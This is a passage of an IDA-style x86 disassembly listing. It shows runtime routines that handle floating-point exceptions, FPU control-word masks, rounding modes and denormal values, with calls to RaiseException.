fld qword ptr [ebp-8]
loc_426283: ; CODE XREF: .nsp0:00426262j
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_426290(int,int,int,int,double,int)
sub_426290 proc near ; CODE XREF: sub_41CCD0+B1p
; sub_41CCD0+129p ...
var_5C = byte ptr -5Ch
var_24 = dword ptr -24h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = qword ptr 18h
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
sub esp, 5Ch
mov eax, [ebp+arg_18]
push eax
lea ecx, [ebp+arg_10]
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_4268F0
add esp, 0Ch
test eax, eax
jnz short loc_4262D6
mov eax, [ebp+var_24]
and al, 0FEh
mov [ebp+var_24], eax
lea ecx, [ebp+arg_10]
push ecx
lea edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
lea edx, [ebp+arg_18]
push edx
lea eax, [ebp+var_5C]
push eax
call sub_426420
add esp, 18h
loc_4262D6: ; CODE XREF: sub_426290+1Cj
mov ecx, [ebp+arg_0]
push ecx
call sub_426D90
add esp, 4
mov [ebp+var_4], eax
cmp dword_451D10, 0
jnz short loc_42631E
cmp [ebp+var_4], 0
jz short loc_42631E
mov edx, [ebp+arg_18]
push edx ; int
mov eax, dword ptr [ebp+arg_10+4]
push eax
mov ecx, dword ptr [ebp+arg_10]
push ecx ; double
push 0 ; int
push 0 ; int
mov edx, [ebp+arg_C]
push edx ; int
mov eax, [ebp+arg_8]
push eax ; int
mov ecx, [ebp+arg_4]
push ecx ; int
mov edx, [ebp+var_4]
push edx ; int
call sub_426C70
add esp, 24h
jmp short loc_42633E
; ---------------------------------------------------------------------------
loc_42631E: ; CODE XREF: sub_426290+5Cj
; sub_426290+62j
mov eax, [ebp+var_4]
push eax
call sub_426D10
add esp, 4
push 0FFFFh
mov ecx, [ebp+arg_18]
push ecx
call sub_427100
add esp, 8
fld [ebp+arg_10]
loc_42633E: ; CODE XREF: sub_426290+8Cj
mov esp, ebp
pop ebp
retn
sub_426290 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
sub esp, 5Ch
mov eax, [ebp+28h]
push eax
lea ecx, [ebp+20h]
push ecx
mov edx, [ebp+8]
push edx
call sub_4268F0
add esp, 0Ch
test eax, eax
jnz short loc_4263AE
mov eax, [ebp-24h]
or al, 1
mov [ebp-24h], eax
mov ecx, [ebp-24h]
and ecx, 0FFFFFFE1h
or ecx, 2
mov [ebp-24h], ecx
mov edx, [ebp+18h]
mov [ebp-34h], edx
mov eax, [ebp+1Ch]
mov [ebp-30h], eax
lea ecx, [ebp+20h]
push ecx
lea edx, [ebp+10h]
push edx
mov eax, [ebp+0Ch]
push eax
mov ecx, [ebp+8]
push ecx
lea edx, [ebp+28h]
push edx
lea eax, [ebp-5Ch]
push eax
call sub_426420
add esp, 18h
loc_4263AE: ; CODE XREF: .nsp0:0042636Cj
mov ecx, [ebp+8]
push ecx
call sub_426D90
add esp, 4
mov [ebp-4], eax
cmp dword_451D10, 0
jnz short loc_4263FA
cmp dword ptr [ebp-4], 0
jz short loc_4263FA
mov edx, [ebp+28h]
push edx
mov eax, [ebp+24h]
push eax
mov ecx, [ebp+20h]
push ecx
mov edx, [ebp+1Ch]
push edx
mov eax, [ebp+18h]
push eax
mov ecx, [ebp+14h]
push ecx
mov edx, [ebp+10h]
push edx
mov eax, [ebp+0Ch]
push eax
mov ecx, [ebp-4]
push ecx
call sub_426C70
add esp, 24h
jmp short loc_42641A
; ---------------------------------------------------------------------------
loc_4263FA: ; CODE XREF: .nsp0:004263C4j
; .nsp0:004263CAj
mov edx, [ebp-4]
push edx
call sub_426D10
add esp, 4
push 0FFFFh
mov eax, [ebp+28h]
push eax
call sub_427100
add esp, 8
fld qword ptr [ebp+20h]
loc_42641A: ; CODE XREF: .nsp0:004263F8j
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_426420 proc near ; CODE XREF: sub_426290+3Ep
; .nsp0:004263A6p
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 18h
mov eax, [ebp+arg_0]
mov dword ptr [eax+4], 0
mov ecx, [ebp+arg_0]
mov dword ptr [ecx+8], 0
mov edx, [ebp+arg_0]
mov dword ptr [edx+0Ch], 0
mov eax, [ebp+arg_8]
and eax, 10h
test eax, eax
jz short loc_426464
mov [ebp+var_4], 0C000008Fh
mov ecx, [ebp+arg_0]
mov edx, [ecx+4]
or edx, 1
mov eax, [ebp+arg_0]
mov [eax+4], edx
loc_426464: ; CODE XREF: sub_426420+2Cj
mov ecx, [ebp+arg_8]
and ecx, 2
test ecx, ecx
jz short loc_426483
mov [ebp+var_4], 0C0000093h
mov edx, [ebp+arg_0]
mov eax, [edx+4]
or al, 2
mov ecx, [ebp+arg_0]
mov [ecx+4], eax
loc_426483: ; CODE XREF: sub_426420+4Cj
mov edx, [ebp+arg_8]
and edx, 1
test edx, edx
jz short loc_4264A3
mov [ebp+var_4], 0C0000091h
mov eax, [ebp+arg_0]
mov ecx, [eax+4]
or ecx, 4
mov edx, [ebp+arg_0]
mov [edx+4], ecx
loc_4264A3: ; CODE XREF: sub_426420+6Bj
mov eax, [ebp+arg_8]
and eax, 4
test eax, eax
jz short loc_4264C3
mov [ebp+var_4], 0C000008Eh
mov ecx, [ebp+arg_0]
mov edx, [ecx+4]
or edx, 8
mov eax, [ebp+arg_0]
mov [eax+4], edx
loc_4264C3: ; CODE XREF: sub_426420+8Bj
mov ecx, [ebp+arg_8]
and ecx, 8
test ecx, ecx
jz short loc_4264E2
mov [ebp+var_4], 0C0000090h
mov edx, [ebp+arg_0]
mov eax, [edx+4]
or al, 10h
mov ecx, [ebp+arg_0]
mov [ecx+4], eax
loc_4264E2: ; CODE XREF: sub_426420+ABj
mov edx, [ebp+arg_4]
mov eax, [edx]
and eax, 1
neg eax
sbb eax, eax
inc eax
and eax, 1
shl eax, 4
mov ecx, [ebp+arg_0]
mov edx, [ecx+8]
and edx, 0FFFFFFEFh
or edx, eax
mov eax, [ebp+arg_0]
mov [eax+8], edx
mov ecx, [ebp+arg_4]
mov edx, [ecx]
and edx, 4
neg edx
sbb edx, edx
inc edx
and edx, 1
shl edx, 3
mov eax, [ebp+arg_0]
mov ecx, [eax+8]
and ecx, 0FFFFFFF7h
or ecx, edx
mov edx, [ebp+arg_0]
mov [edx+8], ecx
mov eax, [ebp+arg_4]
mov ecx, [eax]
and ecx, 8
neg ecx
sbb ecx, ecx
inc ecx
and ecx, 1
shl ecx, 2
mov edx, [ebp+arg_0]
mov eax, [edx+8]
and al, 0FBh
or eax, ecx
mov ecx, [ebp+arg_0]
mov [ecx+8], eax
mov edx, [ebp+arg_4]
mov eax, [edx]
and eax, 10h
neg eax
sbb eax, eax
inc eax
and eax, 1
shl eax, 1
mov ecx, [ebp+arg_0]
mov edx, [ecx+8]
and edx, 0FFFFFFFDh
or edx, eax
mov eax, [ebp+arg_0]
mov [eax+8], edx
mov ecx, [ebp+arg_4]
mov edx, [ecx]
and edx, 20h
neg edx
sbb edx, edx
inc edx
and edx, 1
mov eax, [ebp+arg_0]
mov ecx, [eax+8]
and ecx, 0FFFFFFFEh
or ecx, edx
mov edx, [ebp+arg_0]
mov [edx+8], ecx
call sub_4270C0
mov [ebp+var_8], eax
mov eax, [ebp+var_8]
and eax, 1
test eax, eax
jz short loc_4265B2
mov ecx, [ebp+arg_0]
mov edx, [ecx+0Ch]
or edx, 10h
mov eax, [ebp+arg_0]
mov [eax+0Ch], edx
loc_4265B2: ; CODE XREF: sub_426420+181j
mov ecx, [ebp+var_8]
and ecx, 4
test ecx, ecx
jz short loc_4265CA
mov edx, [ebp+arg_0]
mov eax, [edx+0Ch]
or al, 8
mov ecx, [ebp+arg_0]
mov [ecx+0Ch], eax
loc_4265CA: ; CODE XREF: sub_426420+19Aj
mov edx, [ebp+var_8]
and edx, 8
test edx, edx
jz short loc_4265E3
mov eax, [ebp+arg_0]
mov ecx, [eax+0Ch]
or ecx, 4
mov edx, [ebp+arg_0]
mov [edx+0Ch], ecx
loc_4265E3: ; CODE XREF: sub_426420+1B2j
mov eax, [ebp+var_8]
and eax, 10h
test eax, eax
jz short loc_4265FC
mov ecx, [ebp+arg_0]
mov edx, [ecx+0Ch]
or edx, 2
mov eax, [ebp+arg_0]
mov [eax+0Ch], edx
loc_4265FC: ; CODE XREF: sub_426420+1CBj
mov ecx, [ebp+var_8]
and ecx, 20h
test ecx, ecx
jz short loc_426614
mov edx, [ebp+arg_0]
mov eax, [edx+0Ch]
or al, 1
mov ecx, [ebp+arg_0]
mov [ecx+0Ch], eax
loc_426614: ; CODE XREF: sub_426420+1E4j
mov edx, [ebp+arg_4]
mov eax, [edx]
and eax, 0C00h
mov [ebp+var_C], eax
cmp [ebp+var_C], 800h
ja short loc_426644
cmp [ebp+var_C], 800h
jz short loc_42665E
cmp [ebp+var_C], 0
jz short loc_426682
cmp [ebp+var_C], 400h
jz short loc_426670
jmp short loc_42668F
; ---------------------------------------------------------------------------
loc_426644: ; CODE XREF: sub_426420+208j
cmp [ebp+var_C], 0C00h
jz short loc_42664F
jmp short loc_42668F
; ---------------------------------------------------------------------------
loc_42664F: ; CODE XREF: sub_426420+22Bj
mov ecx, [ebp+arg_0]
mov edx, [ecx]
or edx, 3
mov eax, [ebp+arg_0]
mov [eax], edx
jmp short loc_42668F
; ---------------------------------------------------------------------------
loc_42665E: ; CODE XREF: sub_426420+211j
mov ecx, [ebp+arg_0]
mov edx, [ecx]
and edx, 0FFFFFFFCh
or edx, 2
mov eax, [ebp+arg_0]
mov [eax], edx
jmp short loc_42668F
; ---------------------------------------------------------------------------
loc_426670: ; CODE XREF: sub_426420+220j
mov ecx, [ebp+arg_0]
mov edx, [ecx]
and edx, 0FFFFFFFCh
or edx, 1
mov eax, [ebp+arg_0]
mov [eax], edx
jmp short loc_42668F
; ---------------------------------------------------------------------------
loc_426682: ; CODE XREF: sub_426420+217j
mov ecx, [ebp+arg_0]
mov edx, [ecx]
and edx, 0FFFFFFFCh
mov eax, [ebp+arg_0]
mov [eax], edx
loc_42668F: ; CODE XREF: sub_426420+222j
; sub_426420+22Dj ...
mov ecx, [ebp+arg_4]
mov edx, [ecx]
and edx, 300h
mov [ebp+var_10], edx
cmp [ebp+var_10], 0
jz short loc_4266D8
cmp [ebp+var_10], 200h
jz short loc_4266C6
cmp [ebp+var_10], 300h
jz short loc_4266B7
jmp short loc_4266E8
; ---------------------------------------------------------------------------
loc_4266B7: ; CODE XREF: sub_426420+293j
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, 0FFFFFFE3h
mov edx, [ebp+arg_0]
mov [edx], ecx
jmp short loc_4266E8
; ---------------------------------------------------------------------------
loc_4266C6: ; CODE XREF: sub_426420+28Aj
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, 0FFFFFFE3h
or ecx, 4
mov edx, [ebp+arg_0]
mov [edx], ecx
jmp short loc_4266E8
; ---------------------------------------------------------------------------
loc_4266D8: ; CODE XREF: sub_426420+281j
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, 0FFFFFFE3h
or ecx, 8
mov edx, [ebp+arg_0]
mov [edx], ecx
loc_4266E8: ; CODE XREF: sub_426420+295j
; sub_426420+2A4j ...
mov eax, [ebp+arg_C]
and eax, 0FFFh
shl eax, 5
mov ecx, [ebp+arg_0]
mov edx, [ecx]
and edx, 0FFFE001Fh
or edx, eax
mov eax, [ebp+arg_0]
mov [eax], edx
mov ecx, [ebp+arg_0]
mov edx, [ecx+20h]
or edx, 1
mov eax, [ebp+arg_0]
mov [eax+20h], edx
mov ecx, [ebp+arg_0]
mov edx, [ecx+20h]
and edx, 0FFFFFFE1h
or edx, 2
mov eax, [ebp+arg_0]
mov [eax+20h], edx
mov ecx, [ebp+arg_0]
mov edx, [ebp+arg_10]
mov eax, [edx]
mov [ecx+10h], eax
mov edx, [edx+4]
mov [ecx+14h], edx
mov eax, [ebp+arg_0]
mov ecx, [eax+50h]
or ecx, 1
mov edx, [ebp+arg_0]
mov [edx+50h], ecx
mov eax, [ebp+arg_0]
mov ecx, [eax+50h]
and ecx, 0FFFFFFE1h
or ecx, 2
mov edx, [ebp+arg_0]
mov [edx+50h], ecx
mov eax, [ebp+arg_0]
mov ecx, [ebp+arg_14]
mov edx, [ecx]
mov [eax+40h], edx
mov ecx, [ecx+4]
mov [eax+44h], ecx
call sub_4270E0
lea edx, [ebp+arg_0]
push edx
push 1
push 0
mov eax, [ebp+var_4]
push eax
call dword_4F14BC ; RaiseException
mov ecx, [ebp+arg_0]
mov edx, [ecx+8]
shr edx, 4
and edx, 1
test edx, edx
jz short loc_42679D
mov eax, [ebp+arg_4]
mov ecx, [eax]
and ecx, 0FFFFFFFEh
mov edx, [ebp+arg_4]
mov [edx], ecx
loc_42679D: ; CODE XREF: sub_426420+36Ej
mov eax, [ebp+arg_0]
mov ecx, [eax+8]
shr ecx, 3
and ecx, 1
test ecx, ecx
jz short loc_4267B9
mov edx, [ebp+arg_4]
mov eax, [edx]
and al, 0FBh
mov ecx, [ebp+arg_4]
mov [ecx], eax
loc_4267B9: ; CODE XREF: sub_426420+38Bj
mov edx, [ebp+arg_0]
mov eax, [edx+8]
shr eax, 2
and eax, 1
test eax, eax
jz short loc_4267D6
mov ecx, [ebp+arg_4]
mov edx, [ecx]
and edx, 0FFFFFFF7h
mov eax, [ebp+arg_4]
mov [eax], edx
loc_4267D6: ; CODE XREF: sub_426420+3A7j
mov ecx, [ebp+arg_0]
mov edx, [ecx+8]
shr edx, 1
and edx, 1
test edx, edx
jz short loc_4267F2
mov eax, [ebp+arg_4]
mov ecx, [eax]
and ecx, 0FFFFFFEFh
mov edx, [ebp+arg_4]
mov [edx], ecx
loc_4267F2: ; CODE XREF: sub_426420+3C3j
mov eax, [ebp+arg_0]
mov ecx, [eax+8]
and ecx, 1
test ecx, ecx
jz short loc_42680B
mov edx, [ebp+arg_4]
mov eax, [edx]
and al, 0DFh
mov ecx, [ebp+arg_4]
mov [ecx], eax
loc_42680B: ; CODE XREF: sub_426420+3DDj
mov edx, [ebp+arg_0]
mov eax, [edx]
and eax, 3
mov [ebp+var_14], eax
cmp [ebp+var_14], 3
ja short loc_426869
mov ecx, [ebp+var_14]
jmp off_4268D1[ecx*4]
loc_426826: ; DATA XREF: .nsp0:004268DDo
mov edx, [ebp+arg_4]
mov eax, [edx]
and ah, 0F3h
or ah, 0Ch
mov ecx, [ebp+arg_4]
mov [ecx], eax
jmp short loc_426869
; ---------------------------------------------------------------------------
loc_426838: ; CODE XREF: sub_426420+3FFj
; DATA XREF: .nsp0:004268D9o
mov edx, [ebp+arg_4]
mov eax, [edx]
and ah, 0F3h
or ah, 8
mov ecx, [ebp+arg_4]
mov [ecx], eax
jmp short loc_426869
; ---------------------------------------------------------------------------
loc_42684A: ; CODE XREF: sub_426420+3FFj
; DATA XREF: .nsp0:004268D5o
mov edx, [ebp+arg_4]
mov eax, [edx]
and ah, 0F3h
or ah, 4
mov ecx, [ebp+arg_4]
mov [ecx], eax
jmp short loc_426869
; ---------------------------------------------------------------------------
loc_42685C: ; CODE XREF: sub_426420+3FFj
; DATA XREF: .nsp0:off_4268D1o
mov edx, [ebp+arg_4]
mov eax, [edx]
and ah, 0F3h
mov ecx, [ebp+arg_4]
mov [ecx], eax
loc_426869: ; CODE XREF: sub_426420+3FAj
; sub_426420+416j ...
mov edx, [ebp+arg_0]
mov eax, [edx]
shr eax, 2
and eax, 7
mov [ebp+var_18], eax
cmp [ebp+var_18], 0
jz short loc_42688B
cmp [ebp+var_18], 1
jz short loc_42689D
cmp [ebp+var_18], 2
jz short loc_4268AF
jmp short loc_4268BC
; ---------------------------------------------------------------------------
loc_42688B: ; CODE XREF: sub_426420+45Bj
mov ecx, [ebp+arg_4]
mov edx, [ecx]
and dh, 0F3h
or dh, 3
mov eax, [ebp+arg_4]
mov [eax], edx
jmp short loc_4268BC
; ---------------------------------------------------------------------------
loc_42689D: ; CODE XREF: sub_426420+461j
mov ecx, [ebp+arg_4]
mov edx, [ecx]
and dh, 0F3h
or dh, 2
mov eax, [ebp+arg_4]
mov [eax], edx
jmp short loc_4268BC
; ---------------------------------------------------------------------------
loc_4268AF: ; CODE XREF: sub_426420+467j
mov ecx, [ebp+arg_4]
mov edx, [ecx]
and dh, 0F3h
mov eax, [ebp+arg_4]
mov [eax], edx
loc_4268BC: ; CODE XREF: sub_426420+469j
; sub_426420+47Bj ...
mov ecx, [ebp+arg_0]
mov edx, [ebp+arg_14]
mov eax, [ecx+40h]
mov [edx], eax
mov ecx, [ecx+44h]
mov [edx+4], ecx
mov esp, ebp
pop ebp
retn
sub_426420 endp
; ---------------------------------------------------------------------------
off_4268D1 dd offset loc_42685C ; DATA XREF: sub_426420+3FFr
dd offset loc_42684A
dd offset loc_426838
dd offset loc_426826
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4268F0 proc near ; CODE XREF: sub_426290+12p
; .nsp0:00426362p
var_44 = dword ptr -44h
var_40 = qword ptr -40h
var_38 = qword ptr -38h
var_30 = qword ptr -30h
var_28 = qword ptr -28h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = qword ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 44h
mov eax, [ebp+arg_0]
and eax, 1Fh
mov [ebp+var_4], eax
mov ecx, [ebp+arg_0]
and ecx, 8
test ecx, ecx
jz short loc_42692A
mov edx, [ebp+arg_8]
and edx, 1
test edx, edx
jz short loc_42692A
push 1
call sub_427140
add esp, 4
mov eax, [ebp+var_4]
and al, 0F7h
mov [ebp+var_4], eax
jmp loc_426C2E
; ---------------------------------------------------------------------------
loc_42692A: ; CODE XREF: sub_4268F0+17j
; sub_4268F0+21j
mov ecx, [ebp+arg_0]
and ecx, 4
test ecx, ecx
jz short loc_426955
mov edx, [ebp+arg_8]
and edx, 4
test edx, edx
jz short loc_426955
push 4
call sub_427140
add esp, 4
mov eax, [ebp+var_4]
and al, 0FBh
mov [ebp+var_4], eax
jmp loc_426C2E
; ---------------------------------------------------------------------------
loc_426955: ; CODE XREF: sub_4268F0+42j
; sub_4268F0+4Cj
mov ecx, [ebp+arg_0]
and ecx, 1
test ecx, ecx
jz loc_426AD1
mov edx, [ebp+arg_8]
and edx, 8
test edx, edx
jz loc_426AD1
push 8
call sub_427140
add esp, 4
mov eax, [ebp+arg_8]
and eax, 0C00h
mov [ebp+var_20], eax
cmp [ebp+var_20], 800h
ja short loc_4269B0
cmp [ebp+var_20], 800h
jz short loc_426A05
cmp [ebp+var_20], 0
jz short loc_4269C2
cmp [ebp+var_20], 400h
jz loc_426A45
jmp loc_426AC3
; ---------------------------------------------------------------------------
loc_4269B0: ; CODE XREF: sub_4268F0+9Dj
cmp [ebp+var_20], 0C00h
jz loc_426A85
jmp loc_426AC3
; ---------------------------------------------------------------------------
loc_4269C2: ; CODE XREF: sub_4268F0+ACj
mov ecx, [ebp+arg_4]
fld qword ptr [ecx]
fcomp dbl_438198
fnstsw ax
test ah, 41h
jnz short loc_4269E7
mov edx, dword ptr dbl_451A08
mov dword ptr [ebp+var_28], edx
mov eax, dword ptr dbl_451A08+4
mov dword ptr [ebp+var_28+4], eax
jmp short loc_4269F2
; ---------------------------------------------------------------------------
loc_4269E7: ; CODE XREF: sub_4268F0+E2j
fld dbl_451A08
fchs
fstp [ebp+var_28]
loc_4269F2: ; CODE XREF: sub_4268F0+F5j
mov ecx, [ebp+arg_4]
mov edx, dword ptr [ebp+var_28]
mov [ecx], edx
mov eax, dword ptr [ebp+var_28+4]
mov [ecx+4], eax
jmp loc_426AC3
; ---------------------------------------------------------------------------
loc_426A05: ; CODE XREF: sub_4268F0+A6j
mov ecx, [ebp+arg_4]
fld qword ptr [ecx]
fcomp dbl_438198
fnstsw ax
test ah, 41h
jnz short loc_426A2A
mov edx, dword ptr dbl_451A08
mov dword ptr [ebp+var_30], edx
mov eax, dword ptr dbl_451A08+4
mov dword ptr [ebp+var_30+4], eax
jmp short loc_426A35
; ---------------------------------------------------------------------------
loc_426A2A: ; CODE XREF: sub_4268F0+125j
fld dbl_451A18
fchs
fstp [ebp+var_30]
loc_426A35: ; CODE XREF: sub_4268F0+138j
mov ecx, [ebp+arg_4]
mov edx, dword ptr [ebp+var_30]
mov [ecx], edx
mov eax, dword ptr [ebp+var_30+4]
mov [ecx+4], eax
jmp short loc_426AC3
; ---------------------------------------------------------------------------
loc_426A45: ; CODE XREF: sub_4268F0+B5j
mov ecx, [ebp+arg_4]
fld qword ptr [ecx]
fcomp dbl_438198
fnstsw ax
test ah, 41h
jnz short loc_426A6A
mov edx, dword ptr dbl_451A18
mov dword ptr [ebp+var_38], edx
mov eax, dword ptr dbl_451A18+4
mov dword ptr [ebp+var_38+4], eax
jmp short loc_426A75
; ---------------------------------------------------------------------------
loc_426A6A: ; CODE XREF: sub_4268F0+165j
fld dbl_451A08
fchs
fstp [ebp+var_38]
loc_426A75: ; CODE XREF: sub_4268F0+178j
mov ecx, [ebp+arg_4]
mov edx, dword ptr [ebp+var_38]
mov [ecx], edx
mov eax, dword ptr [ebp+var_38+4]
mov [ecx+4], eax
jmp short loc_426AC3
; ---------------------------------------------------------------------------
loc_426A85: ; CODE XREF: sub_4268F0+C7j
mov ecx, [ebp+arg_4]
fld qword ptr [ecx]
fcomp dbl_438198
fnstsw ax
test ah, 41h
jnz short loc_426AAA
mov edx, dword ptr dbl_451A18
mov dword ptr [ebp+var_40], edx
mov eax, dword ptr dbl_451A18+4
mov dword ptr [ebp+var_40+4], eax
jmp short loc_426AB5
; ---------------------------------------------------------------------------
loc_426AAA: ; CODE XREF: sub_4268F0+1A5j
fld dbl_451A18
fchs
fstp [ebp+var_40]
loc_426AB5: ; CODE XREF: sub_4268F0+1B8j
mov ecx, [ebp+arg_4]
mov edx, dword ptr [ebp+var_40]
mov [ecx], edx
mov eax, dword ptr [ebp+var_40+4]
mov [ecx+4], eax
loc_426AC3: ; CODE XREF: sub_4268F0+BBj
; sub_4268F0+CDj ...
mov ecx, [ebp+var_4]
and ecx, 0FFFFFFFEh
mov [ebp+var_4], ecx
jmp loc_426C2E
; ---------------------------------------------------------------------------
loc_426AD1: ; CODE XREF: sub_4268F0+6Dj
; sub_4268F0+7Bj
mov edx, [ebp+arg_0]
and edx, 2
test edx, edx
jz loc_426C2E
mov eax, [ebp+arg_8]
and eax, 10h
test eax, eax
jz loc_426C2E
mov [ebp+var_8], 0
mov ecx, [ebp+arg_0]
and ecx, 10h
test ecx, ecx
jz short loc_426B05
mov [ebp+var_8], 1
loc_426B05: ; CODE XREF: sub_4268F0+20Cj
mov edx, [ebp+arg_4]
fld qword ptr [edx]
fcomp dbl_438198
fnstsw ax
test ah, 40h
jnz loc_426C0E
lea eax, [ebp+var_18]
push eax ; int
mov ecx, [ebp+arg_4]
mov edx, [ecx+4]
push edx
mov eax, [ecx]
push eax ; double
call sub_426F80
add esp, 0Ch
fstp [ebp+var_10]
mov ecx, [ebp+var_18]
sub ecx, 600h
mov [ebp+var_14], ecx
cmp [ebp+var_14], 0FFFFFBCEh
jge short loc_426B61
fld [ebp+var_10]
fmul dbl_438198
fstp [ebp+var_10]
mov [ebp+var_8], 1
jmp loc_426BFE
; ---------------------------------------------------------------------------
loc_426B61: ; CODE XREF: sub_4268F0+257j
fld [ebp+var_10]
fcomp dbl_438198
fnstsw ax
test ah, 1
jz short loc_426B7A
mov [ebp+var_44], 1
jmp short loc_426B81
; ---------------------------------------------------------------------------
loc_426B7A: ; CODE XREF: sub_4268F0+27Fj
mov [ebp+var_44], 0
loc_426B81: ; CODE XREF: sub_4268F0+288j
mov edx, [ebp+var_44]
mov [ebp+var_1C], edx
mov ax, word ptr [ebp+var_10+6]
and ax, 0Fh
mov word ptr [ebp+var_10+6], ax
mov cx, word ptr [ebp+var_10+6]
or cl, 10h
mov word ptr [ebp+var_10+6], cx
jmp short loc_426BA9
; ---------------------------------------------------------------------------
loc_426BA0: ; CODE XREF: sub_4268F0+2FEj
mov edx, [ebp+var_14]
add edx, 1
mov [ebp+var_14], edx
loc_426BA9: ; CODE XREF: sub_4268F0+2AEj
cmp [ebp+var_14], 0FFFFFC03h
jge short loc_426BF0
mov eax, dword ptr [ebp+var_10]
and eax, 1
test eax, eax
jz short loc_426BC9
cmp [ebp+var_8], 0
jnz short loc_426BC9
mov [ebp+var_8], 1
loc_426BC9: ; CODE XREF: sub_4268F0+2CAj
; sub_4268F0+2D0j
mov ecx, dword ptr [ebp+var_10]
shr ecx, 1
mov dword ptr [ebp+var_10], ecx
mov edx, dword ptr [ebp+var_10+4]
and edx, 1
test edx, edx
jz short loc_426BE6
mov eax, dword ptr [ebp+var_10]
or eax, 80000000h
mov dword ptr [ebp+var_10], eax
loc_426BE6: ; CODE XREF: sub_4268F0+2E9j
mov ecx, dword ptr [ebp+var_10+4]
shr ecx, 1
mov dword ptr [ebp+var_10+4], ecx
jmp short loc_426BA0
; ---------------------------------------------------------------------------
loc_426BF0: ; CODE XREF: sub_4268F0+2C0j
cmp [ebp+var_1C], 0
jz short loc_426BFE
fld [ebp+var_10]
fchs
fstp [ebp+var_10]
loc_426BFE: ; CODE XREF: sub_4268F0+26Cj
; sub_4268F0+304j
mov edx, [ebp+arg_4]
mov eax, dword ptr [ebp+var_10]
mov [edx], eax
mov ecx, dword ptr [ebp+var_10+4]
mov [edx+4], ecx
jmp short loc_426C15
; ---------------------------------------------------------------------------
loc_426C0E: ; CODE XREF: sub_4268F0+225j
mov [ebp+var_8], 1
loc_426C15: ; CODE XREF: sub_4268F0+31Cj
cmp [ebp+var_8], 0
jz short loc_426C25
push 10h
call sub_427140
add esp, 4
loc_426C25: ; CODE XREF: sub_4268F0+329j
mov edx, [ebp+var_4]
and edx, 0FFFFFFFDh
mov [ebp+var_4], edx
loc_426C2E: ; CODE XREF: sub_4268F0+35j
; sub_4268F0+60j ...
mov eax, [ebp+arg_0]
and eax, 10h
test eax, eax
jz short loc_426C55
mov ecx, [ebp+arg_8]
and ecx, 20h
test ecx, ecx
jz short loc_426C55
push 20h
call sub_427140
add esp, 4
mov edx, [ebp+var_4]
and edx, 0FFFFFFEFh
mov [ebp+var_4], edx
loc_426C55: ; CODE XREF: sub_4268F0+346j
; sub_4268F0+350j
xor eax, eax
cmp [ebp+var_4], 0
setz al
mov esp, ebp
pop ebp
retn
sub_4268F0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_426C70(int,int,int,int,int,int,double,int)
sub_426C70 proc near ; CODE XREF: sub_4261C0+2Ap
; .nsp0:0042625Ap ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = qword ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = qword ptr 20h
arg_20 = dword ptr 28h
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_4]
push eax
call sub_426D50
add esp, 4
mov [ebp+var_1C], eax
cmp [ebp+var_1C], 0
jz short loc_426CE7
mov ecx, [ebp+arg_0]
mov [ebp+var_20], ecx
mov edx, [ebp+arg_8]
mov [ebp+var_18], edx
mov eax, [ebp+arg_C]
mov [ebp+var_14], eax
mov ecx, [ebp+arg_10]
mov [ebp+var_10], ecx
mov edx, [ebp+arg_14]
mov [ebp+var_C], edx
mov eax, dword ptr [ebp+arg_18]
mov dword ptr [ebp+var_8], eax
mov ecx, dword ptr [ebp+arg_18+4]
mov dword ptr [ebp+var_8+4], ecx
push 0FFFFh
mov edx, [ebp+arg_20]
push edx
call sub_427100
add esp, 8
lea eax, [ebp+var_20]
push eax
call sub_42CE40
add esp, 4
test eax, eax
jnz short loc_426CE2
mov ecx, [ebp+arg_0]
push ecx
call sub_426D10
add esp, 4
loc_426CE2: ; CODE XREF: sub_426C70+64j
fld [ebp+var_8]
jmp short loc_426D07
; ---------------------------------------------------------------------------
loc_426CE7: ; CODE XREF: sub_426C70+19j
push 0FFFFh
mov edx, [ebp+arg_20]
push edx
call sub_427100
add esp, 8
mov eax, [ebp+arg_0]
push eax
call sub_426D10
add esp, 4
fld [ebp+arg_18]
loc_426D07: ; CODE XREF: sub_426C70+75j
mov esp, ebp
pop ebp
retn
sub_426C70 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_426D10 proc near ; CODE XREF: sub_426290+92p
; .nsp0:004263FEp ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
mov [ebp+var_4], eax
